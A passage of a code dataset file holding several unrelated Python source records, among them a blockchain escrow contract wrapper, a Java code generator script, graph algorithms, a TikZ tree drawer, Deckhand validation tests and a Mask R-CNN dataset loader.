`$cal 9 2016`: 指定された年月のカレンダーを返す\n''')\n","sub_path":"pyconjpbot/plugins/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":4168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"480124510","text":"import base64\n\nimport web3\nfrom sdk.payment_channel import PaymentChannel\n\nfrom snet_cli.utils import get_contract_object, get_contract_deployment_block\n\n\nBLOCKS_PER_BATCH = 20000\n\n\nclass MPEContract:\n def __init__(self, w3):\n self.web3 = w3\n self.contract = get_contract_object(self.web3, \"MultiPartyEscrow.json\")\n self.event_topics = \\\n [self.web3.sha3(\n text=\"ChannelOpen(uint256,uint256,address,address,address,bytes32,uint256,uint256)\").hex()]\n self.deployment_block = get_contract_deployment_block(\n self.web3, \"MultiPartyEscrow.json\")\n\n def get_past_open_channels(self, account, service, starting_block_number=0, to_block_number=None):\n if to_block_number is None:\n to_block_number = self.web3.eth.getBlock(\"latest\")[\"number\"]\n\n if starting_block_number == 0:\n starting_block_number = self.deployment_block\n\n logs = []\n from_block = starting_block_number\n while from_block <= to_block_number:\n to_block = min(from_block + BLOCKS_PER_BATCH, to_block_number)\n logs = logs + self.web3.eth.getLogs({\"fromBlock\": from_block, \"toBlock\": to_block,\n \"address\": self.contract.address, \"topics\": self.event_topics})\n from_block = to_block + 1\n\n event_abi = self.contract._find_matching_event_abi(\n event_name=\"ChannelOpen\")\n group = service.metadata.get_group_id(service.group['group_name'])\n channels_opened = list(filter(\n lambda channel: channel.sender == account.address and channel.signer == account.signer_address and channel.recipient == service.group[\n \"payment_address\"] and channel.groupId == group,\n [web3.utils.events.get_event_data(\n event_abi, l)[\"args\"] for l in logs]\n ))\n return list(map(lambda channel: PaymentChannel(channel[\"channelId\"], self.web3, account, service, self), channels_opened))\n\n def balance(self, address):\n return self.contract.functions.balances(address).call()\n\n def deposit(self, account, amount_in_cogs):\n return account.send_transaction(self.contract.functions.deposit, amount_in_cogs)\n\n def open_channel(self, account, service, amount, expiration):\n return account.send_transaction(self.contract.functions.openChannel, account.signer_address, service.group[\"payment_address\"], base64.b64decode(str(service.group[\"group_id\"])), amount, expiration)\n\n def deposit_and_open_channel(self, account, service, amount, expiration):\n already_approved_amount = account.allowance()\n if amount > already_approved_amount:\n account.approve_transfer(amount)\n return account.send_transaction(self.contract.functions.depositAndOpenChannel, account.signer_address, service.group[\"payment_address\"], base64.b64decode(str(service.group[\"group_id\"])), amount, expiration)\n\n def channel_add_funds(self, account, channel_id, amount):\n self._fund_escrow_account(account, amount)\n return account.send_transaction(self.contract.functions.channelAddFunds, channel_id, amount)\n\n def channel_extend(self, account, channel_id, expiration):\n return account.send_transaction(self.contract.functions.channelExtend, channel_id, expiration)\n\n def channel_extend_and_add_funds(self, account, channel_id, expiration, amount):\n self._fund_escrow_account(account, amount)\n return account.send_transaction(self.contract.functions.channelExtendAndAddFunds, channel_id, expiration, amount)\n\n def _fund_escrow_account(self, account, amount):\n current_escrow_balance = self.balance(account.address)\n if amount > current_escrow_balance:\n account.deposit_to_escrow_account(amount - current_escrow_balance)\n","sub_path":"signer/sdk/mpe_contract.py","file_name":"mpe_contract.py","file_ext":"py","file_size_in_byte":3842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"34749728","text":"from itertools import chain\nimport abnormal.read_data\n\na=[1,2,3,4,5]\nb=('a','b','c')\nc={'a':1,'d':10}\nd=[(1,2)]\n\nfor i in chain(a,b,c.items(),d):\n print(i)","sub_path":"base_knowledge/迭代器/不同集合上元素的迭代.py","file_name":"不同集合上元素的迭代.py","file_ext":"py","file_size_in_byte":158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"625402966","text":"import os\n\n\nclass WordEmbeddingConfig:\n def __init__(self, data_root):\n self.glove_dictionary_file = os.path.join(data_root, 'word_embedding', 'glove_dictionary.json')\n self.glove_word_matrix_file = os.path.join(data_root, 'word_embedding', 'glove6b_init_300d.npy')\n self.fasttext_dictionary_file = os.path.join(data_root, 'word_embedding', 'fasttext_dictionary.json')\n self.fasttext_word_matrix_file = os.path.join(data_root, 'word_embedding', 'fasttext_init_300d.npy')\n\n\nclass Config:\n def __init__(self, args):\n self.tiers = args.tiers\n self.data_root = args.data_root\n self.save_dir = args.save_dir\n self.word_emb_config: WordEmbeddingConfig = WordEmbeddingConfig(self.data_root)\n\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"510249392","text":"#!/usr/bin/env python\r\n\r\n\r\nimport sys\r\nfrom subprocess import *\r\nimport json\r\n\r\n#=============================================Functions\r\n\r\n#read in source code from file and store it as a string\r\ndef readSourceCode(inputFileName):\r\n sourceCode = \"\"\r\n with open(inputFileName, \"r\") as input:\r\n for line in input:\r\n sourceCode = sourceCode + line\r\n return sourceCode\r\n\r\ndef getFunctionName(str, returnType):\r\n \r\n splitWithReturnType = str.split(returnType)[1]\r\n \r\n functionName = splitWithReturnType.lstrip()\r\n\r\n return functionName.split(\"(\")[0]\r\n\r\ndef getParameterList(str):\r\n splitLeftParen = str.split(\"(\")[1]\r\n functionParameters = splitLeftParen.split(\")\")[0]\r\n\r\n return functionParameters \r\n\r\ndef getParameterDictonary(str):\r\n splitLeftParen = str.split(\"(\")[1]\r\n functionParameters = splitLeftParen.split(\")\")[0]\r\n\r\n splitCommaToParametersList = getParameterList(str).split(\",\")\r\n \r\n parametersDictionary = {}\r\n \r\n for params in splitCommaToParametersList:\r\n keyValueArray = params.lstrip().split(\" \")\r\n key = keyValueArray[1]\r\n value = keyValueArray[0] \r\n parametersDictionary[key] = value\r\n \r\n return parametersDictionary \r\n \r\n \r\ndef getMethodBody(str):\r\n leftCurlyIndex = str.find(\"{\")\r\n leftCurlyRemoved = str[leftCurlyIndex+1:]\r\n\r\n reversedStr = reverseString(leftCurlyRemoved)\r\n\r\n rightCurlyIndex = reversedStr.find(\"}\")\r\n rightCurlyRemoved = reversedStr[rightCurlyIndex+1:]\r\n\r\n return reverseString(rightCurlyRemoved)\r\n\r\ndef reverseString(str):\r\n return str[::-1]\r\n\r\n \r\ndef generateJavaSourceCode(params, body, returnType, input):\r\n staticMethod = \"public static \" + returnType + \" run(\" + params + \") {\" + body + \"}\"\r\n\r\n mainSource = \"public class Main { public static void main(String[] args) { System.out.print(run(\" + input + \")); }\" + staticMethod + \"}\"\r\n\r\n return mainSource\r\n \r\ndef compileJava():\r\n call(\"ls\", \"-l\")\r\n\r\ndef Main():\r\n\r\n\r\n args = sys.argv\r\n source = readSourceCode(args[1])\r\n\r\n returnType = args[2]\r\n\r\n inputValue = args[3]\r\n\r\n functionName = getFunctionName(source, \"void\")\r\n\r\n paramDict = getParameterDictonary(source)\r\n\r\n paramterList = str(getParameterList(source))\r\n\r\n methodBody = getMethodBody(source)\r\n\r\n mainSource = generateJavaSourceCode(paramterList, methodBody, returnType, inputValue)\r\n\r\n\r\n\r\n with open(\"Main.java\", \"w\") as output:\r\n output.write(mainSource)\r\n\r\n call([\"javac\", \"Main.java\"])\r\n\r\n\r\n\r\n #returnResult = str(check_output([\"java\", \"Main\"]))[2:-3]\r\n\r\n cmd = \"java Main\"\r\n p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)\r\n returnResult = p.stdout.read() \r\n\r\n jsonList = [];\r\n paramDict[\"functionName\"] = functionName\r\n paramDict[\"input\"] = inputValue\r\n paramDict[\"output\"] = returnResult\r\n jsonList.append(paramDict)\r\n #for key in paramDict.keys():\r\n # json.append({key:paramDict[key]})\r\n\r\n\r\n\r\n print(json.dumps(jsonList));\r\n \r\n #print(str(json))\r\n\r\n#=============================================Main\r\n\r\n\r\nstr1 = \"public static void addTwo(int a, int b){return a+b;}\"\r\n\r\nprint(getMethodBody(str1))\r\n\r\n\r\n\r\n","sub_path":"front/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"142638893","text":"from pymongo import mongo_client\nfrom csv import DictWriter\n\n\nclass Mongo2Csv():\n def __init__(self, path='./policy.csv', host='127.0.0.1', port=27017, db_name='szkj', doc_name='policy'):\n self.to_path = path\n self.conn = mongo_client.MongoClient(host=host, port=port)\n self.db = self.conn[db_name]\n self.doc = self.db[doc_name]\n if not self.conn:\n raise Exception('Connection failure')\n\n def migrate(self):\n cursor = self.doc.find()\n filed_names = cursor[0].keys()\n with open(self.to_path, 'w') as f:\n csv_writer = DictWriter(f, filed_names)\n csv_writer.writeheader()\n for item in cursor:\n csv_writer.writerow(item)\n\n\nclient = Mongo2Csv()\nclient.migrate()\n","sub_path":"scrapycode/szkj/szkj/spiders/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"383076116","text":"# Write a method to replace all spaces in a string with '%20'.\n# You may assume that the string has sufficient space at the end to hold the additional characters,\n# and that you are given the \"true\" length of the string.\n\ninpstr = \"Mr John Smith\"\nlength = len(inpstr)\n\ndef urlify(mystr, length):\n spaces = 0\n for i in range(0 , length):\n if(mystr[i] == ' '):\n spaces += 1\n l = [''] * (length + spaces * 2)\n j = 0\n for i in range (0, 13):\n if(mystr[i] == ' '):\n l[j] = '%'\n j += 1\n l[j] = '2'\n j += 1\n l[j] = '0'\n else:\n l[j] = mystr[i]\n j += 1\n return l\n\nprint(urlify(inpstr, length))\n\n#Shorter Code:\ndef urlifyN(mystr):\n mylist = mystr.split(' ')\n #len() * 2 - 1 because after inserting '%20' we will have that many elements in the new list. Skipping two steps because after inserting\n # the element incerementing by one will insert element right after it resulting in duplicate '%20%20'\n for i in range(1, len(mylist) * 2 - 1, 2):\n mylist.insert(i,'%20')\n return ''.join(mylist)\n\nprint(urlifyN(inpstr))\n","sub_path":"Chapter1/1.3_URLify.py","file_name":"1.3_URLify.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"196653712","text":"# Strongly connected components\n\nfrom dfs import DFS\nfrom collections import deque, defaultdict\n\n\nclass SCC(DFS):\n\n def scc(self):\n \"\"\"Find strongly connected components in the graph\"\"\"\n q = deque()\n # topological sort gives us the order of vertices\n self.dfs(on_finished=lambda x: q.appendleft(x))\n return self._transposed_scc_dfs(q)\n\n def _transposed_scc_dfs(self, queue):\n \"\"\"Consider the vertices in order of decreasing finish time\"\"\"\n transposed = SCC.transpose(self)\n\n for v in transposed.vertices():\n v.color = \"white\"\n\n time = 1\n tree = 0\n for v in queue:\n vertex = transposed.vertex(v.vertex)\n if vertex.color == \"white\":\n tree += 1\n time = transposed._dfs(vertex, time, tree, None, None)\n\n components = defaultdict(deque)\n for vertex in transposed.vertices():\n components[vertex.tree].appendleft(self.vertex(vertex.vertex))\n\n return components\n\n\nif __name__ == \"__main__\":\n edges = [\n (\"a\", \"b\"),\n (\"b\", \"e\"),\n (\"b\", \"c\"),\n (\"b\", \"f\"),\n (\"c\", \"d\"),\n (\"c\", \"g\"),\n (\"d\", \"c\"),\n (\"d\", \"h\"),\n (\"e\", \"a\"),\n (\"e\", \"f\"),\n (\"f\", \"g\"),\n (\"g\", \"f\"),\n (\"g\", \"h\"),\n (\"h\", \"h\"),\n ]\n\n def print_scc(scc):\n for ix, components in scc.items():\n print(\"[{0}]:\".format(ix))\n for vertex in components:\n print(\" {0}\".format(vertex))\n print(\"\")\n\n g = SCC(edges, directed=True)\n print(\"-- Directed Graph: -- \")\n print(g)\n\n print(\"Transposed: \")\n print(SCC.transpose(g))\n\n print(\"Strongly connected components: \")\n print_scc(g.scc())","sub_path":"graphs/strongly-connected-components.py","file_name":"strongly-connected-components.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"308312973","text":"# Copyright 2017 AT&T Intellectual Property. All other rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport yaml\n\nfrom deckhand import factories\nfrom deckhand.tests import test_utils\nfrom deckhand.tests.unit.db import base\nfrom deckhand import types\n\nARMADA_VALIDATION_POLICY = \"\"\"\n---\nstatus: success\nvalidator:\n name: armada\n version: 1.1.3\n\"\"\"\n\nPROMENADE_VALIDATION_POLICY = \"\"\"\n---\nstatus: failure\nerrors:\n - documents:\n - schema: promenade/Node/v1\n name: node-document-name\n - schema: promenade/Masters/v1\n name: kubernetes-masters\n message: Node has master role, but not included in cluster masters list.\nvalidator:\n name: promenade\n version: 1.1.2\n\"\"\"\n\n\nclass TestValidations(base.TestDbBase):\n\n def _create_revision_with_validation_policy(self):\n vp_factory = factories.ValidationPolicyFactory()\n validation_policy = vp_factory.gen(types.DECKHAND_SCHEMA_VALIDATION,\n 'success')\n bucket_name = test_utils.rand_name('bucket')\n documents = self.create_documents(bucket_name, [validation_policy])\n revision_id = documents[0]['revision_id']\n return revision_id\n\n def test_create_validation(self):\n revision_id = self._create_revision_with_validation_policy()\n validation_name = test_utils.rand_name('validation')\n\n payload = yaml.safe_load(PROMENADE_VALIDATION_POLICY)\n created_validation = self.create_validation(\n revision_id, validation_name, payload)\n\n self.assertIsInstance(created_validation, dict)\n self.assertEqual(validation_name, created_validation['name'])\n self.assertEqual(payload['status'], created_validation['status'])\n self.assertEqual(payload['validator'], created_validation['validator'])\n\n def test_create_multiple_validations(self):\n revision_id = self._create_revision_with_validation_policy()\n\n for val_policy in (ARMADA_VALIDATION_POLICY,\n PROMENADE_VALIDATION_POLICY):\n validation_name = test_utils.rand_name('validation')\n\n payload = yaml.safe_load(val_policy)\n created_validation = self.create_validation(\n revision_id, validation_name, payload)\n\n payload.update({'name': validation_name})\n self.assertIsInstance(created_validation, dict)\n self.assertEqual(validation_name, created_validation['name'])\n self.assertEqual(payload['status'], created_validation['status'])\n self.assertEqual(payload['validator'],\n created_validation['validator'])\n","sub_path":"deckhand/tests/unit/db/test_validations.py","file_name":"test_validations.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"308634469","text":"import os\nimport sys\nimport json\nimport datetime\nimport numpy as np\nimport skimage.draw\n\nfrom pycocotools.coco import COCO\nfrom pycocotools.cocoeval import COCOeval\nfrom pycocotools import mask as maskUtils\n\nimport cv2\n\n\n# Root directory of the project\nROOT_DIR = os.path.abspath(\"../../\")\n\n# Import Mask RCNN\nsys.path.append(ROOT_DIR) # To find local version of the library\nfrom mrcnn.config import Config\nfrom mrcnn import model as modellib, utils\n\n# Path to trained weights file\nCOCO_WEIGHTS_PATH = os.path.join(ROOT_DIR, \"mask_rcnn_coco.h5\")\n\n# Directory to save logs and model checkpoints, if not provided\n# through the command line argument --logs\nDEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, \"logs\")\n\n\n\nclass DeskConfig(Config):\n \"\"\"Configuration for training on the toy dataset.\n Derives from the base Config class and overrides some values.\n \"\"\"\n # Give the configuration a recognizable name\n NAME = \"desks\"\n\n # Train on 1 GPU and 8 images per GPU. We can put multiple images on each\n # GPU because the images are small. Batch size is 8 (GPUs * images/GPU).\n GPU_COUNT = 1\n IMAGES_PER_GPU = 4\n\n # Number of classes (including background)\n NUM_CLASSES = 1 + 1 # background + 3 shapes\n\n # Use small images for faster training. Set the limits of the small side\n # the large side, and that determines the image shape.\n IMAGE_MIN_DIM = 256\n IMAGE_MAX_DIM = 256\n\n LEARNING_RATE = 0.001\n LEARNING_MOMENTUM = 0.9\n\n # Use smaller anchors because our image and objects are small\n RPN_ANCHOR_SCALES = (16, 32, 64, 128, 256) # anchor side in pixels\n\n # Reduce training ROIs per image because the images are small and have\n # few objects. Aim to allow ROI sampling to pick 33% positive ROIs.\n TRAIN_ROIS_PER_IMAGE = 32\n\n # Use a small epoch since the data is simple\n STEPS_PER_EPOCH = 100\n\n # use small validation steps since the epoch is small\n VALIDATION_STEPS = 5\n\nclass DeskDataset(utils.Dataset):\n\n def load_desk(self,coco_root = \"./coco\",subset='train'):\n\n ann_path = os.path.join(coco_root,subset,'annotations.json')\n print(f'the annotation file is here:{ann_path}')\n\n coco = COCO(ann_path)\n\n class_ids = sorted(coco.getCatIds())\n image_ids = sorted(coco.getImgIds())\n if class_ids:\n for i in class_ids:\n self.add_class(\"desks\",i,coco.loadCats(i)[0][\"name\"])\n\n for i in image_ids:\n self.add_image(\"desks\",i,\n os.path.join(coco_root,subset,coco.imgs[i]['file_name']),\n width=coco.imgs[i][\"width\"],\n height = coco.imgs[i][\"height\"],\n annotations = coco.loadAnns(coco.getAnnIds(imgIds=[i]))\n )\n else:\n print(\"no category found!\")\n\n def load_mask(self,image_id):\n\n image_info = self.image_info[image_id]\n\n instance_masks = []\n class_ids = []\n annotations = self.image_info[image_id][\"annotations\"]\n # Build mask of shape [height, width, instance_count] and list\n # of class IDs that correspond to each channel of the mask.\n for annotation in annotations:\n class_id = self.map_source_class_id(\n \"desks.{}\".format(annotation['category_id']))\n if class_id:\n m = self.annToMask(annotation, image_info[\"height\"],\n image_info[\"width\"])\n # Some objects are so small that they're less than 1 pixel area\n # and end up rounded out. Skip those objects.\n if m.max() < 1:\n continue\n # Is it a crowd? If so, use a negative class ID.\n if annotation['iscrowd']:\n # Use negative class ID for crowds\n class_id *= -1\n # For crowd masks, annToMask() sometimes returns a mask\n # smaller than the given dimensions. If so, resize it.\n if m.shape[0] != image_info[\"height\"] or m.shape[1] != image_info[\"width\"]:\n m = np.ones([image_info[\"height\"], image_info[\"width\"]], dtype=bool)\n instance_masks.append(m)\n class_ids.append(class_id)\n\n # Pack instance masks into an array\n if class_ids:\n mask = np.stack(instance_masks, axis=2).astype(np.bool)\n class_ids = np.array(class_ids, dtype=np.int32)\n return mask, class_ids\n \n def image_reference(self,image_id):\n info = self.image_info[image_id]\n return info[\"path\"]\n\n # The following two functions are from pycocotools with a few changes.\n\n def annToRLE(self, ann, height, width):\n \"\"\"\n Convert annotation which can be polygons, uncompressed RLE to RLE.\n :return: binary mask (numpy 2D array)\n \"\"\"\n segm = ann['segmentation']\n if isinstance(segm, list):\n # polygon -- a single object might consist of multiple parts\n # we merge all parts into one mask rle code\n rles = maskUtils.frPyObjects(segm, height, width)\n rle = maskUtils.merge(rles)\n elif isinstance(segm['counts'], list):\n # uncompressed RLE\n rle = maskUtils.frPyObjects(segm, height, width)\n else:\n # rle\n rle = ann['segmentation']\n return rle\n\n def annToMask(self, ann, height, width):\n \"\"\"\n Convert annotation which can be polygons, uncompressed RLE, or RLE to binary mask.\n :return: binary mask (numpy 2D array)\n \"\"\"\n rle = self.annToRLE(ann, height, width)\n m = maskUtils.decode(rle)\n return m\n","sub_path":"samples/my/desk.py","file_name":"desk.py","file_ext":"py","file_size_in_byte":5798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"473001768","text":"#!/usr/bin/python\nimport math\nimport sys\nfrom vec2 import vec2\n\nTIKZ_DOC_BEGIN_OLD = r\"\"\"\n\\documentclass{article}\n\\usepackage{tikz}\n\\begin{document}\n\"\"\"\nTIKZ_DOC_BEGIN = r\"\"\"\n\\documentclass{book}\n\\usepackage{lipsum}% http://ctan.org/pkg/lipsum\n\\usepackage[margin=1cm,landscape,a3paper]{geometry}% http://ctan.org/pkg/geometry\n\\pagestyle{empty}% Set page style to empty\n\\makeatletter\n\\let\\ps@plain\\ps@empty% Make plain page style equivalent to empty page style\n\\makeatletter\n\\usepackage{tikz}\n\\begin{document}\n\"\"\"\nTIKZ_DOC_END = r\"\\end{document}\"\n\nROOT_COLOR = \"thick, black\"\nLEFT_COLOR = \"thick, blue\"\nRIGHT_COLOR = \"thick, red\"\n\nSCALE = 0.45\nNODE_RADIUS = SCALE * 4\nSPACING_VERT = SCALE * .707\nSPACING_HOR = SCALE * 1\nCELL_HEIGHT = SCALE * 4\nCELL_WIDTH = SCALE * 8\n\ndef largest_smaller_root(n, k=2):\n n_length = n.bit_length()\n root_length_lower_bound = n_length // k - 1\n root_length_upper_bound = root_length_lower_bound + 2\n lower_bound = 2 ** root_length_lower_bound\n upper_bound = 2 ** root_length_upper_bound\n estimate = 0\n found = False\n while not found:\n estimate = (lower_bound + upper_bound) // 2\n #print(lower_bound, estimate, upper_bound)\n check = estimate ** k\n if check == n:\n found = True\n elif check > n:\n upper_bound = estimate\n elif check < n:\n lower_bound = estimate\n if lower_bound == estimate and estimate + 1 == upper_bound:\n found = True\n return estimate\n\ndef inverse_gamma_2(r):\n #math.sqrt casts its input value to a float with too little precision to be used for very large numbers\n #x = math.floor((math.sqrt(8 * r - 7) - 1) / 2)\n x = (largest_smaller_root(8 * r - 7) - 1) // 2\n y = r - (x * x + x) // 2 - 1\n return (x, y)\n\nclass binary_tree:\n def __init__(self, root_label, rootcol = None, lcol = None, rcol = None):\n self.root_label = root_label\n self.root_pos = None\n self.bb_tl = None\n self.bb_br = None\n self.left_tree = None\n self.right_tree = None\n self.rootcol = rootcol if rootcol else \"black\"\n self.lcol = lcol if lcol else \"black\"\n self.rcol = rcol if rcol else \"black\"\n\n def build(self):\n if self.root_label == 0:\n self.bb_tl = vec2(0, 0)\n self.bb_br = vec2(0, 0)\n if self.root_label == 1:\n self.root_pos = vec2(0, 0)\n self.bb_tl = vec2(0, 0)\n self.bb_br = vec2(0, 0)\n else:\n x, y = inverse_gamma_2(self.root_label)\n if x > 0:\n self.left_tree = binary_tree(x, self.lcol, self.lcol, self.lcol)\n self.left_tree.build()\n if y > 0:\n self.right_tree = binary_tree(y, self.rcol, self.rcol, self.rcol)\n self.right_tree.build()\n\n if y > 0:\n left_width = self.left_tree.bb_br.x - self.left_tree.bb_tl.x\n right_width = self.right_tree.bb_br.x - self.right_tree.bb_tl.x\n height = self.left_tree.bb_tl.y\n offset_x = left_width + 0.5 * right_width + SPACING_HOR\n offset = vec2(offset_x, height) - self.right_tree.root_pos\n self.right_tree.transform(offset)\n center = 0.5 * (self.left_tree.root_pos + self.right_tree.root_pos)\n self.root_pos = vec2(center.x, height + SPACING_VERT)\n\n self.bb_tl = vec2(0 , height + SPACING_VERT)\n self.bb_br = vec2(self.right_tree.bb_br.x, 0)\n else:\n self.root_pos = self.left_tree.root_pos + vec2(0, SPACING_VERT)\n self.bb_tl = self.left_tree.bb_tl + vec2(0, SPACING_VERT)\n self.bb_br = self.left_tree.bb_br + vec2(0, 0) #Making a copy instead of referencing\n\n def transform(self, vec):\n self.root_pos = self.root_pos + vec \n self.bb_tl = self.bb_tl + vec \n self.bb_br = self.bb_br + vec \n if self.left_tree:\n self.left_tree.transform(vec)\n if self.right_tree:\n self.right_tree.transform(vec)\n\n def countNodes(self):\n n1 = 0\n n2 = 0\n if self.left_tree:\n n1 = self.left_tree.countNodes()\n if self.right_tree:\n n2 = self.right_tree.countNodes()\n return n1 + n2 + 1\n\n def countLeaves(self):\n if not self.left_tree and not self.right_tree:\n return 1\n n = 0\n if self.left_tree:\n n += self.left_tree.countLeaves()\n if self.right_tree:\n n += self.right_tree.countLeaves()\n return n\n\n\n def draw(self):\n if self.root_pos:\n s = r\"\\filldraw[{0}] {1} circle ({2}pt);\".format(self.rootcol, str(self.root_pos), NODE_RADIUS)\n print(s)\n else:\n return\n if self.left_tree:\n s = r\"\\draw[{0}] {1} -- {2};\".format(self.rootcol, self.left_tree.root_pos, self.root_pos)\n print(s)\n self.left_tree.draw()\n if self.right_tree:\n s = r\"\\draw[{0}] {1} -- {2};\".format(self.rootcol, self.root_pos, self.right_tree.root_pos)\n print(s)\n self.right_tree.draw()\n\ndef draw_tree(r):\n t = binary_tree(r, ROOT_COLOR, LEFT_COLOR, RIGHT_COLOR)\n t.build()\n t.draw()\n\ndef tree_figure(r, caption = None):\n print(\"%%%Tree \" + str(r) + \" auto-generated%%%\")\n print(r\"\\begin{figure}\\centering\\begin{tikzpicture}\")\n draw_tree(r)\n if not caption:\n if int(r) == 0:\n caption = r\"Tree ${0}$\".format(r)\n else:\n x, y = inverse_gamma_2(r)\n caption = r\"Tree ${0} = \\gamma({1},{2})$\".format(r,x,y)\n print(r\"\\end{tikzpicture}\\caption{\" + caption + r\"}\\end{figure}\")\n\ndef draw_tree_box(r):\n x, y = inverse_gamma_2(r)\n t = binary_tree(r, ROOT_COLOR, LEFT_COLOR, RIGHT_COLOR)\n t.build()\n root_offset = vec2(0.5 * CELL_WIDTH, - 0.1 * CELL_HEIGHT)\n t.transform(root_offset - t.root_pos)\n t.draw()\n text1 = r\"{$\" + str(r) + r\"$}\"\n text2 = r\"{$\" + str(t.countLeaves()) + r\"$}\"\n text3 = r\"{$\\gamma(\" + str(x) + \",\" + str(y) + r\")$}\"\n text4 = r\"{$\" + str(t.countNodes()) + r\"$}\"\n s = r\"\"\"\\draw ({0},{1}) node[rounded corners, outer sep=2pt,draw, align=left, below right]{4} \n -- ({0},{2}) node[align=left, above right, inner sep=0pt, outer sep=2pt]{6} \n -- ({3},{2}) node[align=right, above left, inner sep=0pt, outer sep=4.5pt]{5}\n -- ({3},{1}) node[align=right, below left, inner sep=0pt, outer sep=4.5pt]{7} -- ({0},{1});\"\"\"\n s = s.format(0, 0, -CELL_HEIGHT, CELL_WIDTH, text1, text2, text3, text4)\n print(s)\n\ndef draw_tree_box_legend(r):\n draw_tree_box(r)\n print(r\"\\draw(-0.5, -0.3) node[align=right, left]{tree id} -- (0.2, -0.3);\")\n print(r\"\\draw(-0.5, -1.0) node[align=right, left]{id of left and right subtree} -- (0.8, -1.0) -- (0.8, -1.3);\")\n print(r\"\\draw(0.5, -1.0) -- (0.5, -1.3);\")\n print(r\"\\draw(4.2, -0.3) node[align=left, right]{number of nodes} -- (3.5, -0.3);\")\n print(r\"\\draw(4.2, -1.5) node[align=left, right]{number of leaves} -- (3.5, -1.5);\")\n\ndef draw_table():\n print(r\"\\begin{tikzpicture}\")\n #print(r\"\\draw (0,0) circle (3pt);\")\n for r in range(1,67):\n x, y = inverse_gamma_2(r)\n left = CELL_WIDTH * y\n top = - CELL_HEIGHT * x\n print(r\"\\begin{scope}[shift={(\" + str(left) + \",\" + str(top) + \")}]\")\n draw_tree_box(r)\n print(r\"\\end{scope}\")\n\n print(r\"\\begin{scope}[shift={(\" + str(8 * CELL_WIDTH) + \",\" + str(-2 * CELL_HEIGHT) + \")}]\")\n draw_tree_box_legend(31)\n print(r\"\\end{scope}\")\n print(r\"\\end{tikzpicture}\")\n\ndef pi(digits):\n f = open(\"pi\", \"r\")\n s = f.readline()\n i = int(s[:digits+1])\n return i\n \n\n\nif __name__ == \"__main__\":\n print(TIKZ_DOC_BEGIN)\n #for r in range(0,300):\n # digits = r\n # tree_figure(pi(digits), \"Tree $\\pi\\cdot 10^{\" + str(digits) + \"}$\")\n # print(\"\\clearpage\")\n #for r in range(1,500):\n # sys.stderr.write(\"tree \" + str(r) + \"\\n\")\n # tree_figure(r)\n # if r % 20 == 0:\n # print(\"\\clearpage\")\n #draw_table()\n print(TIKZ_DOC_END)\n pass\n","sub_path":"draw-tree/draw-tree.py","file_name":"draw-tree.py","file_ext":"py","file_size_in_byte":8182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"621249077","text":"from __future__ import print_function\n\nimport os\n\nimport pool\nimport rcExceptions as ex\nfrom rcUtilities import lazy, justcall\nfrom rcGlobalEnv import rcEnv\nfrom converters import convert_size\n\nclass Pool(pool.Pool):\n type = \"shm\"\n capabilities = [\"rox\", \"rwx\", \"roo\", \"rwo\", \"blk\"]\n\n @lazy\n def path(self):\n return \"/dev/shm\"\n\n def translate_blk(self, name=None, size=None, shared=False):\n data = [\n {\n \"rtype\": \"disk\",\n \"type\": \"loop\",\n \"file\": os.path.join(self.path, \"%s.img\" % name),\n \"size\": size,\n }\n ]\n return data\n\n def translate(self, name=None, size=None, fmt=True, shared=False):\n if not fmt:\n return self.translate_blk(name=name, size=size, shared=shared)\n data = []\n path = os.path.join(self.path, name)\n size_opt = \"size=%dm\" % convert_size(size, _to=\"m\")\n if self.mnt_opt:\n mnt_opt = \",\".join((self.mnt_opt, size_opt))\n else:\n mnt_opt = size_opt\n data.append({\n \"rtype\": \"fs\",\n \"type\": \"tmpfs\",\n \"dev\": \"shmfs\",\n \"mnt\": self.mount_point(name),\n \"mnt_opt\": mnt_opt,\n })\n return data\n\n def pool_status(self):\n from converters import convert_size\n if not os.path.exists(self.path):\n os.makedirs(self.path)\n data = {\n \"type\": self.type,\n \"name\": self.name,\n \"capabilities\": self.capabilities,\n }\n cmd = [\"df\", \"-P\", self.path]\n out, err, ret = justcall(cmd)\n if ret != 0:\n return data\n l = out.splitlines()[-1].split()\n data[\"free\"] = int(l[3])\n data[\"used\"] = int(l[2])\n data[\"size\"] = int(l[1])\n data[\"head\"] = self.path\n return data\n\n","sub_path":"lib/poolShm.py","file_name":"poolShm.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"39310186","text":"\"\"\"\nImplementation of the MP3Engine interface using mutagen and 